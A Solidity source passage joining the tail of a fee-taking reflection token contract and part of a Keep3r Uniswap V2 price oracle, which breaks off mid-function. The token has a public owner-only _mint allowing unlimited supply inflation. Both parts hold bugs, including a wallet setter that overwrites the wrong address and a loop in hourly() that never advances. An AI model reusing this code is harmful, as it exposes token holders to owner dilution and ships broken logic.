function isExcludedFromFee(address account) external view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function buyBackUpperLimitAmount() public view returns (uint256) {
return buyBackUpperLimit;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
////
uint256 balance = address(this).balance;
if (buyBackEnabled && balance > uint256(1 * 10**2)) {
if (balance > buyBackUpperLimit)
balance = buyBackUpperLimit;
buyBackTokens(balance.div(100));
}
////
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount);
}
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
address private deadAddress = 0x000000000000000000000000000000000000dEaD;
function swapETHForTokens(uint256 amount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0, // accept any amount of Tokens
path,
deadAddress, // Burn address
block.timestamp.add(300)
);
emit SwapETHForTokens(amount, path);
}
function buyBackTokens(uint256 amount) private lockTheSwap {
if (amount > 0) {
swapETHForTokens(amount);
}
}
bool public buyBackEnabled = true;
event BuyBackEnabledUpdated(bool enabled);
function setBuyBackEnabled(bool _enabled) public onlyOwner {
buyBackEnabled = _enabled;
emit BuyBackEnabledUpdated(_enabled);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for BNB
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much BNB did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to Uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
removeAllFee();
}
else{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
//Calculate burn amount and funding amount
uint256 burnAmt = amount.mul(_burnFee).div(100);
uint256 fundingAmt = amount.mul(_fundingFee).div(100);
uint256 fundingPiece = fundingAmt.div(6);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt)));
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt)));
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt)));
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt)));
} else {
_transferStandard(sender, recipient, (amount.sub(burnAmt).sub(fundingAmt)));
}
//Temporarily remove fees to transfer to burn address
_taxFee = 0;
_liquidityFee = 0;
_fundingFee = 0;
//Send transfers to burn DevelopmentWallet and DonationWallet wallets
// _transferStandard(sender, address(0), burnAmt); // comments for burning transfer
_transferStandard(sender, DevelopmentWalletAddress, fundingPiece.mul(3));
_transferStandard(sender, DonationWalletAddress, fundingPiece.mul(3));
//_transferStandard(sender, DevWallet, fundingPiece.mul(2));
//Restore tax, liquidity, burn and funding fees
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_fundingFee = _previousFundingFee;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient])
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
event FeeEvent(address account);
function excludeFromFee(address account) external onlyOwner {
emit FeeEvent(account);
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
emit FeeEvent(account);
_isExcludedFromFee[account] = false;
}
function setDevelopmentWalletWallet(address newWallet) external onlyOwner() {
emit FeeEvent(newWallet);
DevelopmentWalletAddress = newWallet;
}
function setDonationWalletWallet(address newWallet) external onlyOwner() {
emit FeeEvent(newWallet);
DonationWalletAddress = newWallet;
}
function setComunityWallet(address newWallet) external onlyOwner() {
emit FeeEvent(newWallet);
DonationWalletAddress = newWallet;
}
event MaxTxPcEvent(uint maxTxPc);
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Cannot set transaction amount less than 0 percent!");
emit MaxTxPcEvent(maxTxPercent);
_maxTxAmount = maxTxPercent;
}
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function _mint(uint256 amount) public virtual onlyOwner{
_beforeTokenTransfer(address(0), owner(), amount);
_tTotal +=amount;
_tOwned[owner()] += amount;
emit Transfer(address(0), owner(), amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface WETH9 {
function withdraw(uint wad) external;
}
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IKeep3rV1 {
function isMinKeeper(address keeper, uint minBond, uint earned, uint age) external returns (bool);
function receipt(address credit, address keeper, uint amount) external;
function unbond(address bonding, uint amount) external;
function withdraw(address bonding) external;
function bonds(address keeper, address credit) external view returns (uint);
function unbondings(address keeper, address credit) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function jobs(address job) external view returns (bool);
function balanceOf(address account) external view returns (uint256);
function worked(address keeper) external;
function KPRH() external view returns (IKeep3rV1Helper);
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract YearnV2Oracle {
using FixedPoint for *;
using SafeMath for uint;
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
uint public minKeep = 200e18;
modifier keeper() {
require(KP3R.isMinKeeper(msg.sender, minKeep, 0, 0), "::isKeeper: keeper is not registered");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.isMinKeeper(msg.sender, minKeep, 0, 0), "::isKeeper: keeper is not registered");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed.sub(gasleft()));
KP3R.receipt(address(KP3R), address(this), _received);
_received = _swap(_received);
msg.sender.transfer(_received);
}
address public governance;
address public pendingGovernance;
function setMinKeep(uint _keep) external {
require(msg.sender == governance, "setGovernance: !gov");
minKeep = _keep;
}
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Router public constant UNI = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public constant factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint public constant periodSize = 1800;
address[] internal _pairs;
mapping(address => bool) internal _known;
function pairs() external view returns (address[] memory) {
return _pairs;
}
mapping(address => Observation[]) public observations;
function observationLength(address pair) external view returns (uint) {
return observations[pair].length;
}
function pairFor(address tokenA, address tokenB) external pure returns (address) {
return UniswapV2Library.pairFor(factory, tokenA, tokenB);
}
function pairForWETH(address tokenA) external pure returns (address) {
return UniswapV2Library.pairFor(factory, tokenA, address(WETH));
}
constructor() public {
governance = msg.sender;
}
function updatePair(address pair) external keeper returns (bool) {
return _update(pair);
}
function update(address tokenA, address tokenB) external keeper returns (bool) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
return _update(pair);
}
function add(address tokenA, address tokenB) external {
require(msg.sender == governance, "UniswapV2Oracle::add: !gov");
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
require(!_known[pair], "known");
_known[pair] = true;
_pairs.push(pair);
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
observations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative));
}
function work() public upkeep {
bool worked = _updateAll();
require(worked, "UniswapV2Oracle: !work");
}
function workForFree() public keeper {
bool worked = _updateAll();
require(worked, "UniswapV2Oracle: !work");
}
function lastObservation(address pair) public view returns (Observation memory) {
return observations[pair][observations[pair].length-1];
}
function _updateAll() internal returns (bool updated) {
for (uint i = 0; i < _pairs.length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateFor(uint i, uint length) external keeper returns (bool updated) {
for (; i < length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function workable(address pair) public view returns (bool) {
return (block.timestamp - lastObservation(pair).timestamp) > periodSize;
}
function workable() external view returns (bool) {
for (uint i = 0; i < _pairs.length; i++) {
if (workable(_pairs[i])) {
return true;
}
}
return false;
}
function _update(address pair) internal returns (bool) {
// we only want to commit updates once per period (i.e. windowSize / granularity)
Observation memory _point = lastObservation(pair);
uint timeElapsed = block.timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
observations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative));
return true;
}
return false;
}
function computeAmountOut(
uint priceCumulativeStart, uint priceCumulativeEnd,
uint timeElapsed, uint amountIn
) private pure returns (uint amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = priceAverage.mul(amountIn).decode144();
}
function _valid(address pair, uint age) internal view returns (bool) {
return (block.timestamp - lastObservation(pair).timestamp) <= age;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
require(_valid(pair, periodSize.mul(2)), "UniswapV2Oracle::quote: stale prices");
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
Observation memory _observation = lastObservation(pair);
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
if (block.timestamp == _observation.timestamp) {
_observation = observations[pair][observations[pair].length-2];
}
uint timeElapsed = block.timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
return computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
return computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (uint amountOut) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
require(_valid(pair, periodSize.mul(granularity)), "UniswapV2Oracle::quote: stale prices");
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
uint priceAverageCumulative = 0;
uint length = observations[pair].length-1;
uint i = length.sub(granularity);
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < length; i++) {
nextIndex = i+1;
priceAverageCumulative += computeAmountOut(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
}
} else {
for (; i < length; i++) {
nextIndex = i+1;
priceAverageCumulative += computeAmountOut(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
}
}
return priceAverageCumulative.div(granularity);
}
function prices(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
uint[] memory _prices = new uint[](points);
uint length = observations[pair].length-1;
uint i = length.sub(points);
uint nextIndex = 0;
uint index = 0;
if (token0 == tokenIn) {
for (; i < length; i++) {
nextIndex = i+1;
_prices[index] = computeAmountOut(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
} else {
for (; i < length; i++) {
nextIndex = i+1;
_prices[index] = computeAmountOut(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
}
return _prices;
}
function hourly(address tokenIn, uint amountIn, address tokenOut, uint points) public view returns (uint[] memory) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
uint[] memory _prices = new uint[](points);
uint _len = observations[pair].length-1;
uint length = _len.sub(2);
uint i = _len.sub(points.mul(2));
uint nextIndex = 0;
uint index = 0;
if (token0 == tokenIn) {
for (; i < length; i.add(2)) {
nextIndex = i.add(2);
_prices[index] = computeAmountOut(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
} else {
for (; i < length; i++) {
nextIndex = i.add(2);
_prices[index] = computeAmountOut(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
}
return _prices;
}
function daily(address tokenIn, uint amountIn, address tokenOut, uint points) public view returns (uint[] memory) {
